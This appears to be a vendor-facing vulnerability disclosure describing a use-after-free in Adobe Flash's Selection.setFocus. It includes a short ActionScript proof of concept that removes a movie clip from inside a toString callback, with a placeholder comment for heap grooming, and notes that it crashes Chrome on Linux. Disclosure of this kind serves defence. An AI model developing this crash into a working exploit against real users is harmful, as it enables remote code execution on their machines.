There is a user-after-free in Selection.setFocus. It is a static method, but if it is called with a this object, it will be called on that object's thread. Then, if it calls into script, for example, by calling toString on the string parameter, the object, and its thread will be deleted, and a use-after-free occurs.

A minimal PoC follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var f = Selection.setFocus;
mc.f = f;
mc.f({toString : func});

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	}

A sample SWF and fla are attached. This PoC crashes in Chrome on 64-bit Linux

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

selectionfocus.swf 745 bytes Download

selectionfocus.fla 4.6 KB Download